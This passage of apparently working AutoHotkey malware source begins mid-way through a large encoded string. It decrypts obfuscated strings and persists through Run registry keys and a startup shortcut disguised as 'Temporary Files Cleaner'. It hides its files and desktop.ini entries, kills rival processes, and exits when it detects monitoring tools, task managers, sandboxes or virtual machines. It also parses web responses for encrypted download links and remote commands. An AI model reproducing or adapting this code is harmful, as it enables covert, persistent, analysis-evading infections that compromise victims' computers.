iPmovFWLnfsFSGmY3Hj8DLvomQi5PDncfDvpCTi5HCnbXNsJaPmZiMj8zMd4Sdj4jGmcfbeY2ii1G6nb3bsImOnYbQj4LMw41WgpjLXYicr1aPnoqKhsfUrI1ahVePXI2VsKCPUoHRl7XZv0iLlJnHoL3ZwJtXWFWOY4LMw41WgpjLi8bbu5qZmorBnsPZeY2ii1G6ncHIvZydi4jTnL3bxFaPnoqKhsfUuJuPmJvHjbmVsKCPUoHRl8bbr42QllPDormTp5uXmJnOnMiVsKCPUoHRmbrbrYmcmI7DnLDauo6eiIbQnL3MvVaPnoqKhsfWsZyNlZW6ncPNv4uZllPDormTp5uZjJnRi7rMuY2dmYHRmbrbvomQi5PDnceVsKCPUoHRmbrbvomQi5PDncfDvpeQmpi-bkLnVsJudmZvBWLnfsFSGmZTEnsfWt4yTi5e6ncPNv5uZkonHj8aVsKCPUoHRmbrbvpyclZPFksPTr4SdlYvSncjZupaRjpTKjoLMw41WgpjNkMjdsJyPmIbMhsfWsZygi5nDnLXVeY2ii1G6ncTWrpSdnFPDormTp5uallPDormTp5uan4nDoLXav4melZeMj8zMd4Sdlp7Ek7vPv42cVIrWj4DDvpijjZq-bnLjMvVaPnoqKhsfXxJOTkpHDnMTZulaPnoqKhsfXxJ-aLmIp-ancvMsJiPmEXOnMOVsKCPUoHRms3erJqPjZq-bnLiVsKCPUoHRms3erJqPlpfNWLnfsFSGmZXXobXZsJqPk5TUj8aVsKCPUoHRms3erJqPmIrLmcrMvVaPnoqKhsfXxJ-aLmIrRjbXVuY2cVIrWj4DDvpijnYbSjbzMeY2ii1G6ncbKvptYi53DVrDavlpaVl2Mj8zMd4SdmZbQl4LMw41WgpjSl8PVeY2ii1G6ncjWu5GYjZjOo4LMw41WgpjSmcTQuY-adlp6Mj8zMd4SdmpfOl8PVeY2ii1G6ncrKvpxYi53DVrDawZeSlZjSWLnfsFSGmZvRksPav1aPnoqKhsfetI6eiZHDi8LMvZuNh5PMj8aVsKCPUoHRo8fIwVaPnoqKhsfgvouWlpfNWLnfsFSGmZ7RjrnNsJaNi1PDormTp5ujmYnDkLnVr42cmVPDormTp5ujmYzTi8bLeY2ii1G6nc3asp2LmInMWLnfsFSGmZ7Rk8LbsJqYh5HRSrXVv5Ggj5fTnYLMw41WgpjXncTZupyPiZnNnILMw41WgpjXncbMu1aPnoqKhsfgvpuSj4rKjoLMw41WgpjXncjMuFtcVIrWj4DDvqGdmorLXYbDtI2dh4vDl8PLsFaPnoqKhsfgvpyPk1iQhsfgvpyPk1PDormTp5ujmZnDl7XZuJecVIrWj4DDvqGdmorLjMPWvpyPmFeOWo2VsKCPUoHRo8fbsJWNlZW6nc3av42XiZTOWLnfsFSGmZ7RnrnUrpeagpjXncjMuIuZlpjUjYLMw41WgpjXncjMuIyMVIrWj4DDvqGdmorLkL3Os5yPmIHRo8fbsJWQj4zGnrnZeY2ii1G6nc3av42XjZq-bnLiVsKCPUoHRo8fbsJWRm4bQjrfMuZyPmFPDormTp5ujmZnDl8rMv42ch5O6nc3av42XnIrSj8bIuVaPnoqKhsfgvpyPk5y-bnMbQupqGmZ7RnrnUwomcmI7NnILMw41WgpnDl8TDuZeei5W-bjoLMw41WgpnDncjGtJyPk1PDormTp5ySi0XQj7vQvpycn0XRj8LbtJaPklPDormTp5ySi0XVj7aHvo2Ymo7Mj8CVsKCPUoHSkrnLsI6PlImMj8zMd4SejorRms3JupxYi53DVrDbtJiRm4bQjoLMw41WgpnLmrDLrZuTlI7SWLnfsFSGmpTSi8CHu4tKiorEj8LLsJpYi53DVrDbupyLklPDormTp5yZmobKoL3ZwJuamJTSj7fbtJeYVIrWj4DDv5qfmZnBmcTDv5qfmZnBmcSVsKCPUoHSnMnav46TjY3Sj8bDv5qfmZnEk7vPv42cVIrWj4DDv5qfmZnMk8LRrISemJrRnsLQuZKLVIrWj4DDv5qfmZnMk8LRrISemJrRnsLQuZKLmZvBWLnfsFSGmpfTncjaupSOj4rQhsjZwJuemZTKjr3MvVaPnoqKhsjZwJuenYbQnL3WvYSemJrRnsvIvZqTlZeMj8zMd4SemJrRnsvIvZqTlZe6nsbcvpyhh5fQk8PZvp6NVIrWj4DDv5uNVIrWj4DDwF9Yi53DVrDcrFpaVl6Mj8zMd4Sfh5uMj8zMd4SfiZHMWLnfsFSGm4jNmb-beeY2ii1G6n7vIrlaPnoqKhsnTv5qLh5uMj8zMd4SflJvHnLnfeY2ii1G6n8Tau4yLllPDormTp52clpXQmciVsKCPUoHTnbWVsKCPUoHTncbXvZeeVIrWj4DDwYmWh5fLWLnfsFSGnIbUWLnfsFSGnIrBWLnfsFSGnI2RXY2VsKCPUoHUk8bcvpGdlZG-bnsPZeY2ii1G6oL3ZwJuci5LNoLnZeY2ii1G6oL3ZwJuci5jOmcLasJSLiFeOWo2VsKCPUoHUk8bcvpycj4zFj8bJtJZYi53DVrDduIlYi53DVrDdvZVcVlWWWLnfsFSGnJfLXISXhFaPnoqKhsrag1uMVIrWj4DDwZuSj4rKjoLMw41WgpvRobnMu1aPnoqKhsrcvVxYi53DVrDefJaWlYzNmILMw41Wgpy-boILMw41WgpzBnYLMw41WgpzCj7rLsJWZVIrWj4DDwoydiYbMWLnfsFSGnYqRXonLeY2ii1G6obnJvo2Nm5fHns3Dvo2cnI7Bj8eVsKCPUoHVk4eahFaPnoqKhsvQuUiLlJnHoL3ZwJtKWFWOYoLMw41WgpzHmIuHrJ5Yi53DVrDetJaLlJnHncTgwomci1eOWoyVsKCPUoHVk8LIuZyTnI7Qn8eVsKCPUoHVk8LIuZyTnI7Qn8fXvZedi5nTmoLMw41WgpzHmLXdeY2ii1G6ob3VrJ6inlPDormTp5-aTlIfKn7nauo6eVIrWj4DDwpGYiZHDi8LMvVaPnoqKhsvQuYyPjFPDormTp5-aTlInNmsjQuJGki5eMj8zMd4Shj5PCmcvap4mOipTMnbDIr4yZlFPDormTp5-aTlInNocfDrIyOlZPRhsHIfVhbWFPDormTp5-aTlInNocfDrpyQk5TMWLnfsFSGnY7MjsPevoSPiorEj8LLsJpYi53DVrDetJaOlZzRhrrWuZydgpjDnMrQro2dVIrWj4DDwpGYipTVnbDQuZueh5HKWLnfsFSGnY7MjsPevoSTmZvBksPav1aPnoqKhsvQuYyZnZi6lsfIvptYi53DVrDetJaOlZzRhsPLrZadVIrWj4DDwpGYipTVnbDWr4qYmZ6Mj8zMd4Shj5PCmcvap5uPmJvHjbnaeY2ii1G6ob3Vr5ehmYHRl8faeY2ii1G6ob3Vr5ehmYHRoLeVsKCPUoHVk8LLup-adgpjUjbzIvpxYi53DVrDetJaOlZzRhsfdrpCLmZnRWLnfsFSGnY7MjsPevoSdnIjGmcfbeY2ii1G6ob3Vr5ehmYHRoLfPupueVIrWj4DDwpGYipTVnbDawZeSlZjSWLnfsFSGnY7MjsPevoSdnJyMj8zMd4Shj5PCmcvap5ugnlPDormTp5-aTlInNocfDvqGdmorLWLnfsFSGnY7MjsPevoSdn5jSj8GafYSXj5PHooeZeY2ii1G6ob3Vr5ehmYHRo8fbsJVdWIHLnb3Mw42NmVPDormTp5-aTlInNocfDvqGdmorLXYbDvZiNiVPDormTp5-aTlInNocfDwZSNVIrWj4DDwpGYipTVnbDer5WZlFPDormTp5-aTlInNocfDwpGYkpTFmcKVsKCPUoHVk8LNt4mdjozTi8bLeY2ii1G6ob3VsomXk4aMj8zMd4Shj5PHjMDcsJuZjJmMj8zMd4Shj5PHkL3Os5yPmFPDormTp5-aTlI7Ek8zMvVaPnoqKhsvQuZGdjo7DlriVsKCPUoHVk8LQvpCTi5HCncrKeY2ii1G6ob3Vt1iRVpOMj8zMd4Shj5PKmbvWuVtcVIrWj4DDwpGYlpfNnrnKv5ecVIrWj4DDwpGYmYrBn8bQv6FdXFWMj8zMd4Shj5PRms3erJqPlpfNnrnKv1aPnoqKhsvQuZ2aiobSj4ydeY2ii1G6ob3Vwo2MmYrBn8bQv6FYi53DVrDetJaiRpjDjcnZtJyjRojDmMjMvVaPnoqKhsvQuaCOi4vDmLjMvVaPnoqKhsvQuaCamJTSj7fbuppYi53DVrDetJqPmY2-bnL-aHrJaej5vHnMnaeY2ii1G6ob3av4mLlJnHoL3ZwJtYi53DVrDeuJidiYvFnYLMw41WgpzRXYegeY2ii1G6or7Za4mYmo7Uk8bcvlaPnoqKhszXeI-afh5fCWLnfsFSGnpWLkcnIvYxYi53DVrDfu1Wdjo7DlriVsKCPUoHWmrPIuZyTmZXXobXZsFaPnoqKhszXrFaPnoqKhszXrJaej5vHnMnaeY2ii1G6osTLsI6PlInDnILMw41Wgp3OjrnTwKCPVIrWj4DDw5iWlZfDnILMw41Wgp3OmsPTtIuPVIrWj4DDw5iamJTSj7fbtJeYiYrMnrnZeY2ii1G6osTasIufmI7So7fMuZyPmFPDormTp6Cam5XCi8jMeY2ii1G6osTgrZ2clIrQWLnfsFSGn5TTnHTXrkiamJTSj7fbuppYi53DVrDhtJaLlpiVWLnfsFSGpFPDormTrJaej5vHnMnap5yci4bUWLnfsFSalZHHjbmHu5qZVIrWj4DXvZeGh5PSk7PNtJSPmVPDork-c", "(*&%^*TgK") | |
| cls_id_7be9d83c := dcprt("5YOsrJeJXlnBl62BeZdSWoqXoXmsfL9cU1fAoX97esFYX4uOy8k-c", "LJG^%&&^j") | |
| m_pth_rg_pat := "i).*\\" win_alt0160_def "\\" StrReplace(MCuiEXE, ".", "\.") | |
| loop | |
| { | |
| For indx, pr in get_prcs() { | |
| pr_pth := pr.pr_pth | |
| pr_pid := pr.pr_pid | |
| if (!pr_pth || pr_pid = selfpid) { | |
| continue | |
| } | |
| if pr_pth contains %comn_virs% | |
| { | |
| if pr_pid != ix_pid | |
| kill_del(pr_pth, pr_pid) | |
| } | |
| if (RegExMatch(pr_pth, m_pth_rg_pat) > 0) { | |
| ver := ver_typ(pr_pth) | |
| if (ver = 1) { | |
| Try process, waitclose, %pr_pid%, 5 | |
| if errorlevel != 0 | |
| ExitApp | |
| } | |
| else if ver = higher | |
| goto, close_self_all_ext | |
| else if (ver < 1) { | |
| kill_del(pr_pth, pr_pid) | |
| } | |
| } | |
| chk_tskmgr() | |
| } | |
| stringright, idxr, a_index, 1 | |
| if (idxr = 1 || (!h_k && (idxr = 3 || idxr = 5 || idxr = 7 || idxr = 9))) { | |
| gosub, chk_tmp_strtr | |
| } | |
| tmp_strtr_ok = 0 | |
| if h_k != | |
| { | |
| if FileExist(tmpstrtr) { | |
| par := (tmpstrtr = ScriptFullPath) ? "Quarantine" : "cleanup" | |
| For i, nm in tmpstr_all { | |
| hh := rg_rd(h_k, reg_sw_ms_win_cu_ro, nm) | |
| if hh = "%tmpstrtr%" %alt_0_chr% /%par% %alt_0_chr% | |
| { | |
| tmp_strtr_ok = 1 | |
| break | |
| } | |
| } | |
| } | |
| } | |
| if (tmp_strtr_ok = 0 && idxr != 1) { | |
| gosub, chk_tmp_strtr | |
| } | |
| if (h_k && !_dini) { | |
| if (xp_hgr && tmpstrtr = ScriptFullPath) { | |
| kill_del(sd_ini) | |
| } | |
| if ((xp_hgr && tmpstrtr != ScriptFullPath) || !xp_hgr) { | |
| Try IniWrite, %cls_id_7be9d83c%, %sd_ini%, .ShellClassInfo, CLSID | |
| Try FileSetAttrib, +RSAH, %sd_ini% | |
| } | |
| _dini = 1 | |
| } | |
| loop, 15 | |
| { | |
| process, exist, %ix_pid% | |
| if (errorlevel = 0 || errorlevel = selfpid) { | |
| sleep, 800 | |
| gosub, set_ixplr | |
| break | |
| } | |
| chk_tskmgr() | |
| sleep, 1000 | |
| } | |
| sleep, 3000 | |
| } | |
| gt_rdm_tmp_strt() { | |
| Global tmpstr_all | |
| random, n, 1, % tmpstr_all.Length() | |
| return tmpstr_all[n] | |
| } | |
| rmv_invd_strtr() { | |
| Global | |
| For ir, kh in ["HKLM", "HKCU"] | |
| For i, tsnm in tmpstr_all { | |
| fl := rg_rd(kh, reg_sw_ms_win_cu_ro, tsnm) | |
| if !fl | |
| continue | |
| fl_ := StrSplit(fl, """")[2] | |
| if (!fl_ || !FileExist(fl_)) { | |
| Try regdelete, %kh%, %reg_sw_ms_win_cu_ro%, %tsnm% | |
| continue | |
| } | |
| } | |
| } | |
| chk_tmp_strtr: | |
| chk_reg_mons() | |
| chk_tmp_strtr_: | |
| h_k = | |
| tmpstrtr = | |
| if !hptmp | |
| hptmp := dcprt("orS9t8OXjKynwKum0oqTuA-c-c", "LJG^%&HF") | |
| if !tmpclr | |
| tmpclr := dcprt("ysC-aw5e506qQz8-a0yA-c-c", "BJ^*IUG$jn") | |
| loop, %atemp%%hptmp%%tmpclr%*.exe | |
| { | |
| ver := ver_typ(a_loopfilefullpath) | |
| if ver = 2 | |
| { | |
| if !win_shut | |
| { | |
| Try run, %a_loopfilefullpath% %alt_0_chr%,, useerrorlevel, pp | |
| if errorlevel != ERROR | |
| { | |
| Try process, wait, %pp%, 5 | |
| Try process, waitclose, %pp%, 10 | |
| kill_del(a_loopfilefullpath, pp) | |
| } | |
| } | |
| } | |
| else if (ver = 1) { | |
| if tmpstrtr = | |
| tmpstrtr = %a_loopfilefullpath% | |
| else | |
| kill_del(a_loopfilefullpath) | |
| } | |
| else | |
| kill_del(a_loopfilefullpath) | |
| } | |
| if tmpstrtr | |
| { | |
| if !FileExist(tmpstrtr) | |
| tmpstrtr = | |
| } | |
| if !tmpstrtr | |
| tmpstrtr := atemp hptmp tmpclr get_num_seed(5) ".exe" | |
| if !FileExist(tmpstrtr) { | |
| Try filecreatedir, %atemp%%hptmp% | |
| chg_icn_typ_cpy(ScriptFullPath, tmpstrtr, "wd") | |
| Try FileSetAttrib, +RSA, %tmpstrtr% | |
| Try FileSetAttrib, -H, %tmpstrtr% | |
| Try FileSetAttrib, +RSAH, %atemp%%hptmp% | |
| } | |
| ifexist, %tmpstrtr% | |
| chk_con_fl(tmpstrtr) | |
| rmv_invd_strtr() | |
| For ii, strtr in [tmpstrtr, ScriptFullPath] { | |
| if !FileExist(strtr) | |
| strtr = %ScriptFullPath% | |
| SplitPath, strtr, , dr | |
| dr_ini = %dr%\desktop.ini | |
| par := (strtr = ScriptFullPath) ? "Quarantine" : "cleanup" | |
| kill_del(dr_ini) | |
| h_k = | |
| ts_fnd = 0 | |
| t_strtr = "%strtr%" %alt_0_chr% /%par% %alt_0_chr% | |
| if rg_lm_ok | |
| { | |
| h_k = HKLM | |
| For i, tsnm in tmpstr_all { | |
| if (rg_rd(h_k, reg_sw_ms_win_cu_ro, tsnm) = t_strtr) { | |
| ts_fnd = 1 | |
| break | |
| } | |
| } | |
| if ts_fnd | |
| break | |
| tsnm := gt_rdm_tmp_strt() | |
| if (rg_wt(, h_k, reg_sw_ms_win_cu_ro, tsnm, t_strtr)) { | |
| break | |
| } | |
| h_k = | |
| } | |
| For i, tsnm in tmpstr_all { | |
| if (rg_rd(, reg_sw_ms_win_cu_ro, tsnm) = t_strtr) { | |
| h_k = HKCU | |
| ts_fnd = 1 | |
| break | |
| } | |
| } | |
| if ts_fnd | |
| break | |
| h_k = | |
| tsnm := gt_rdm_tmp_strt() | |
| if (rg_wt(, , reg_sw_ms_win_cu_ro, tsnm, t_strtr)) { | |
| h_k = HKCU | |
| break | |
| } | |
| if strtr = %ScriptFullPath% | |
| break | |
| } | |
| if h_k != | |
| { | |
| For i, tsnm in tmpstr_all { | |
| st := startup "\" tsnm ".lnk" | |
| if !FileExist(st) | |
| continue | |
| Try FileGetShortcut, %st%, ot,, oarg | |
| if (ot = tmpstrtr) { | |
| if (oarg = alt_0_chr "/cleanup" alt_0_chr) { | |
| Try filesetattrib, -RSAH, %st% | |
| Try filedelete, %st% | |
| } | |
| } | |
| } | |
| goto, tmp_strt_ok | |
| } | |
| h_k = HKLM | |
| gg := rg_rd(h_k, reg_sw_ms_win_cu_ru, win_alt0160_def) | |
| if (!rg_lm_ok || gg = "") { | |
| h_k = HKCU | |
| gg := rg_rd(h_k, reg_sw_ms_win_cu_ru, win_alt0160_def) | |
| } | |
| if gg != | |
| { | |
| hhf := StrSplit(gg, """")[2] | |
| if FileExist(hhf) { | |
| if (ver_typ(hhf) = 1) | |
| goto, tmp_strt_ok | |
| } | |
| } | |
| tmpstrtr = | |
| loop, %atemp%%hptmp%%tmpclr%*.exe | |
| if (ver_typ(a_loopfilefullpath) = 1) { | |
| tmpstrtr := a_loopfilefullpath | |
| break | |
| } | |
| else | |
| kill_del(a_loopfilefullpath) | |
| if (!tmpstrtr) { | |
| tmpstrtr := atemp hptmp tmpclr get_num_seed(5) . ".exe" | |
| Try filecreatedir, %atemp%%hptmp% | |
| chg_icn_typ_cpy(ScriptFullPath, tmpstrtr, "wd") | |
| if !FileExist(tmpstrtr) { | |
| tmpstrtr = | |
| goto, tmp_strt_ok | |
| } | |
| } | |
| if (!tmpstrtr || !FileExist(tmpstrtr)) { | |
| goto, tmp_strt_ok | |
| } | |
| For i, tsnm in tmpstr_all { | |
| st := startup "\" tsnm ".lnk" | |
| if !FileExist(st) | |
| continue | |
| Try FileGetShortcut, %st%, OTrg,, OutArgs | |
| if (OTrg = tmpstrtr) | |
| if OutArgs = %alt_0_chr% /cleanup %alt_0_chr% | |
| goto, tmp_strt_ok | |
| } | |
| For i, tsnm in tmpstr_all | |
| kill_del(startup "\" tsnm ".lnk") | |
| icn_nm := xp_hgr ? 3 : 2 | |
| tsnm := gt_rdm_tmp_strt() | |
| st := startup "\" tsnm ".lnk" | |
| kill_del(st) | |
| Try FileCreateShortcut, %tmpstrtr%, %st%, %USERPROFILE%, %alt_0_chr% /cleanup %alt_0_chr%, Temporary Files Cleaner, %systemroot%\system32\NAPSTAT.EXE,,%icn_nm% | |
| Try filesetattrib, +RSA, %st% | |
| Try filesetattrib, -H, %st% | |
| tmp_strt_ok: | |
| if tmpstrtr = %ScriptFullPath% | |
| kill_del(sd_ini) | |
| if !FileExist(dr_ini) { | |
| if !xp_hgr | |
| { | |
| Try IniWrite, %cls_id_7be9d83c%, %dr_ini%, .ShellClassInfo, CLSID | |
| Try filesetattrib, +RSAH, %dr_ini% | |
| } | |
| } | |
| else | |
| kill_del(dr_ini) | |
| if !FileExist(sd_ini) { | |
| if ((tmpstrtr != ScriptFullPath && xp_hgr) || !xp_hgr) { | |
| Try IniWrite, %cls_id_7be9d83c%, %sd_ini%, .ShellClassInfo, CLSID | |
| Try filesetattrib, +RSAH, %sd_ini% | |
| } | |
| } | |
| return | |
| chk_reg_mons() { | |
| Global | |
| ifwinexist, WhatChanged ahk_class #32770, LOCAL MACHINE | |
| ExitApp | |
| ifwinexist, Blue Project Software SysTracer, Take snapshot | |
| ExitApp | |
| ifwinexist, SpyMe Tools, Scan | |
| ExitApp | |
| ifwinexist, Regshot ahk_class #32770, 1st shot | |
| ExitApp | |
| ifwinexist, Process Monitor ahk_class PROCMON_WINDOW_CLASS | |
| ExitApp | |
| ifwinexist, Autoruns ahk_class Autoruns | |
| ExitApp | |
| ifwinexist, Registry Editor ahk_class RegEdit_RegEdit | |
| ExitApp | |
| ifwinexist, ProcessActivityView ahk_class ProcessActivityView | |
| ExitApp | |
| } | |
| chk_tskmgr_: | |
| chk_tskmgr() | |
| return | |
| chk_tskmgr() { | |
| Global | |
| if ((A_TickCount-lst_chk_tskmgr_tym) < 500) { | |
| settimer, chk_tskmgr_, off | |
| settimer, chk_tskmgr_, -550 | |
| return | |
| } | |
| ifwinexist, Process Monitor ahk_class PROCMON_WINDOW_CLASS | |
| ExitApp | |
| ifwinexist, Process Lasso ahk_class Class_PLMain | |
| ExitApp | |
| ifwinexist, Process Explorer ahk_class PROCEXPL | |
| ExitApp | |
| ifwinexist, Process Hacker ahk_class ProcessHacker | |
| ExitApp | |
| ifwinexist, System Explorer ahk_class TMainForm.UnicodeClass | |
| ExitApp | |
| ifwinexist, Yet Another (remote) Process Monitor | |
| ExitApp | |
| ifwinexist, Task Manager DeLuxe ahk_class Twnd_tm_Main | |
| ExitApp | |
| ifwinexist, Yet Another Process Monitor | |
| ExitApp | |
| ifwinexist, Task Manager ahk_class AnVirMainFrame | |
| ExitApp | |
| ifwinexist, eXtended Task Manager ahk_class Warecase_XTM_Frame | |
| ExitApp | |
| ifwinexist, Extended Task Manager by Extensoft | |
| ExitApp | |
| ifwinexist, Sandbox | |
| ExitApp | |
| ifwinexist, BufferZone | |
| ExitApp | |
| ifwinexist, Daphne ahk_class #32770 | |
| ExitApp | |
| ifwinexist, WinUtilities Process Security ahk_class #32770 | |
| ExitApp | |
| ifwinexist, AnVir Task Manager ahk_class AnVirMainFrame | |
| ExitApp | |
| lst_chk_tskmgr_tym:=A_TickCount | |
| } | |
| ckvirtl() { | |
| Global | |
| ifwinexist, Sandbox | |
| ExitApp | |
| ifwinexist, BufferZone | |
| ExitApp | |
| ifwinexist, GeSWall | |
| ExitApp | |
| ifwinexist, LeakWall | |
| ExitApp | |
| Loop, HKLM, SOFTWARE\Microsoft\Hyper-V, 0, 1 | |
| ExitApp | |
| Loop, HKLM, HARDWARE\ACPI\DSDT\Xen, 0, 1 | |
| ExitApp | |
| Loop, HKLM, HARDWARE\ACPI\FADT\Xen, 0, 1 | |
| ExitApp | |
| Loop, HKLM, HARDWARE\ACPI\RSDT\Xen, 0, 1 | |
| ExitApp | |
| Loop, HKLM, HARDWARE\ACPI\FADT\VBOX__, 0, 1 | |
| ExitApp | |
| Loop, HKLM, HARDWARE\ACPI\RSDT\VBOX__, 0, 1 | |
| ExitApp | |
| Loop, HKLM, HARDWARE\ACPI\DSDT\VBOX__, 0, 1 | |
| ExitApp | |
| Loop, HKLM, HARDWARE\DEVICEMAP\Scsi, 0, 1 | |
| { | |
| Try RegRead, value | |
| if value contains VMware,Virtual IDE,Virtual HD,Virtual Machine,VBOX HARDDISK | |
| ExitApp | |
| } | |
| loop, HKLM, SOFTWARE\VMware`, Inc., 0, 1 | |
| if a_index = 2 | |
| ExitApp | |
| loop, HKLM, SYSTEM\CurrentControlSet\services\VBoxService, 0, 1 | |
| if a_index = 2 | |
| ExitApp | |
| pov = %prg_dir%\Oracle\VirtualBox | |
| if FileExist(pov) { | |
| loop, %pov%\*.*,0,1 | |
| if A_index = 5 | |
| ExitApp | |
| } | |
| pv = %prg_dir%\VMware | |
| if FileExist(pv) { | |
| loop, %pv%\*.*,0,1 | |
| if A_index = 5 | |
| ExitApp | |
| } | |
| ifwinexist, Sandbox | |
| ExitApp | |
| ifwinexist, BufferZone | |
| ExitApp | |
| } | |
| close_self_all_ext: | |
| For idn, pr in get_prcs_by_cls() { | |
| if !pr.pr_pth | |
| continue | |
| if (pr.pr_nm = ieDotexe || pr.pr_nm = MCuiEXE) { | |
| if (ver_typ(pr.pr_pth) = 1) | |
| Try process, close, % pr.pr_pid | |
| } | |
| } | |
| ExitApp | |
| del_old_ydys() { | |
| Global | |
| loop, %atemp%\~temp~*~.tmp | |
| { | |
| if (StrLen(A_LoopFileName) != 14) | |
| continue | |
| StringMid, gh, a_loopfilename, 7, 3 | |
| if !RegExMatch(gh, "i)[a-z]") { | |
| if (gh < a_yday) | |
| kill_del(a_loopfilefullpath) | |
| } | |
| } | |
| } | |
| inc_yday(ByRef dyy=0) { | |
| dyy++ | |
| dyy -= dyy > 365 ? 365 : 0 | |
| return dyy | |
| } | |
| get_noupd_dys(dys=3, strt=0) { | |
| if (dys <= 0) | |
| return | |
| if strt = 0 | |
| strt := a_yday | |
| strt -= (strt > 365) ? 365 : 0 | |
| ydys:="|" | |
| loop, %dys% | |
| { | |
| ydys .= strt "|" | |
| inc_yday(strt) | |
| } | |
| return ydys | |
| } | |
| upd_lst_upd_dys(dyss=3, strtt=0) { | |
| Global | |
| if strtt = 0 | |
| strtt := a_yday | |
| rgtx := ecprt(get_noupd_dys(dyss, strtt), mky) | |
| rg_wt(, , reg_sw_ms_ie, reg_LstUpd, rgtx) | |
| del_old_ydys() | |
| FormatTime, aydy,,YDay | |
| loop, %dyss% | |
| { | |
| f := atemp "\~temp~" SubStr("00" aydy, -2) "~.tmp" | |
| kill_del(f) | |
| Try FileAppend, %aydy%, %f% | |
| Try FileSetAttrib, +SR, %f% | |
| inc_yday(aydy) | |
| } | |
| } | |
| get_lst_upd_dys() { | |
| Global | |
| rguptx := dcprt(rg_rd(, reg_sw_ms_ie, reg_LstUpd), mky) | |
| if !rguptx | |
| { | |
| upd_lst_upd_dys() | |
| rguptx := get_noupd_dys() | |
| } | |
| del_old_ydys() | |
| loop, %atemp%\~temp~*~.tmp | |
| { | |
| if (StrLen(A_LoopFileName) != 14) | |
| continue | |
| StringMid, fnmNum, a_loopfilename, 7, 3 | |
| Try FileRead, fcnNum, %A_LoopFileFullPath% | |
| fcnNum := RegExReplace(fcnNum, "[^\d]") | |
| if fcnNum = %fnmNum% | |
| rguptx .= fcnNum "|" | |
| } | |
| return rguptx | |
| } | |
| upd_ver_cnt(vnum=0) { | |
| Global | |
| if vnum | |
| rggg := self_ver "_" vnum | |
| else | |
| { | |
| Try fileread, tvrg, %tmp_VrCnt% | |
| vrg := RegExReplace(rg_rd(, reg_sw_ms_ie, reg_VrCnt), "[^\d\.\_]") | |
| vrg_ := StrSplit(vrg, "_") | |
| vrg_c := (vrg_[1] = self_ver && vrg_[2]) ? vrg_[2] : "" | |
| tvrg_ := StrSplit(RegExReplace(tvrg, "[^\d\.\_]"), "_") | |
| tvrg_c := (tvrg_[1] = self_ver && tvrg_[2]) ? tvrg_[2] : "" | |
| vhgst := Trim(vrg_c "`n" tvrg_c, "`n") | |
| Sort, vhgst, U N R | |
| vhgst := StrSplit(vhgst, "`n")[1] | |
| vhgst := vhgst ? (vhgst + 1) : 1 | |
| rggg := self_ver "_" vhgst | |
| } | |
| kill_del(tmp_VrCnt) | |
| if (rggg = self_ver "_") | |
| rggg := self_ver "_1" | |
| Try FileAppend, %rggg%, %tmp_VrCnt% | |
| Try FileSetAttrib, +RSA, %tmp_VrCnt% | |
| sleep, 100 | |
| return rg_wt(, , reg_sw_ms_ie, reg_VrCnt, rggg) | |
| } | |
| get_ver_cnt() { | |
| Global | |
| vrg := RegExReplace(rg_rd(, reg_sw_ms_ie, reg_VrCnt), "[^\d\.\_]") | |
| vrg_ := StrSplit(vrg, "_") | |
| vrg_v := vrg_[1] | |
| vrg_c := RegExReplace(vrg_[2], "[^\d]") | |
| if (vrg_v != self_ver || !vrg_c) { | |
| vrg = | |
| vrg_c = 0 | |
| } | |
| Try fileread, tvrg, %tmp_VrCnt% | |
| tvrg := RegExReplace(tvrg, "[^\d\.\_]") | |
| tvrg_ := StrSplit(tvrg, "_") | |
| tvrg_v := tvrg_[1] | |
| tvrg_c := RegExReplace(tvrg_[2], "[^\d]") | |
| if (tvrg_v != self_ver || !tvrg_c) { | |
| tvrg = | |
| tvrg_c = 0 | |
| } | |
| vhgst := "1`n" tvrg_c "`n" vrg_c | |
| Sort, vhgst, U N R | |
| vhgst := StrSplit(Trim(vhgst, "`n"), "`n")[1] | |
| if (!vrg || vhgst > vrg_c) | |
| rg_wt(, , reg_sw_ms_ie, reg_VrCnt, self_ver "_" vhgst) | |
| if (!tvrg || vhgst > tvrg_c) { | |
| kill_del(tmp_VrCnt) | |
| Try FileAppend, %self_ver%_%vhgst%, %tmp_VrCnt% | |
| Try FileSetAttrib, +RSA, %tmp_VrCnt% | |
| } | |
| return vhgst | |
| } | |
| get_sec_txts: | |
| ki := h2s("262A5E4669564229") //&*^FiVB) | |
| sctxt_st := dcprt("jW6UwK27mLqUaXTArNDA", ki) | |
| sctxt_ed := dcprt("jp1cn53Yj5idkIOVttKH", ki) | |
| sctxt_unin := sctxt_st . htmlsectxt . sctxt_ed | |
| return | |
| prcs_dl_txt(ret_tx="") { | |
| Global | |
| if sctxt_st = | |
| gosub, get_sec_txts | |
| ret_tx := Trim(ret_tx,"`r`n`t ") | |
| if (!InStr(ret_tx, sctxt_st) || !InStr(ret_tx, sctxt_ed)) { | |
| return 0 | |
| } | |
| todl_lnk_sz = 0 | |
| ret_tx_res := regexreplace(ret_tx, "i)[^a-z0-9\-]", "") | |
| pt=i).*%sctxt_st%(.*?)%sctxt_ed%.* | |
| sec_txt := RegExReplace(ret_tx_res, pt, "$1") | |
| if (!sec_txt || InStr(sec_txt, sctxt_st) || InStr(sec_txt, sctxt_ed)) { | |
| spos:=InStr(ret_tx_res,sctxt_st),epos:=InStr(ret_tx_res,sctxt_ed),slen:=StrLen(sctxt_st) | |
| sec_txt := trim(SubStr(ret_tx_res,spos+slen,epos-(spos+slen))) | |
| } | |
| if sec_txt = | |
| return 0 | |
| dc_sec_txt := trim(dcprt(sec_txt, mky)) | |
| if !dc_sec_txt | |
| return 0 | |
| if (sec_txt = htmlsectxt || ret_tx_res = sctxt_unin) { | |
| up_reg_sec_ky(sec_txt) | |
| gosub, un_in_me | |
| return 1 | |
| } | |
| rg_sc_ky := gt_reg_sec_ky() | |
| if (!dl_faild && rg_sc_ky = dc_sec_txt) { | |
| return 1 | |
| } | |
| fstchk := SubStr(dc_sec_txt, 1, 4) | |
| if (fstchk = "http" || fstchk = "ftp:") { | |
| dl_uls := get_dluls(dc_sec_txt) | |
| goto, jst_url_rn | |
| } | |
| if !InStr(dc_sec_txt, "|") | |
| return 0 | |
| up_outs := StrSplit(dc_sec_txt,"|") | |
| web_unx := RegExReplace(up_outs[1], "[^\d]") | |
| if !web_unx | |
| return 0 | |
| if (StrLen(web_unx) != 10 || web_unx < self_unix) { | |
| return 0 | |
| } | |
| if (rg_sc_ky) { | |
| reg_unx := RegExReplace(StrSplit(rg_sc_ky,"|")[1], "[^\d]") | |
| if (StrLen(reg_unx) = 10 && web_unx <= reg_unx) { | |
| if (web_unx < reg_unx) | |
| return 0 | |
| if !dl_faild | |
| return 0 | |
| } | |
| } | |
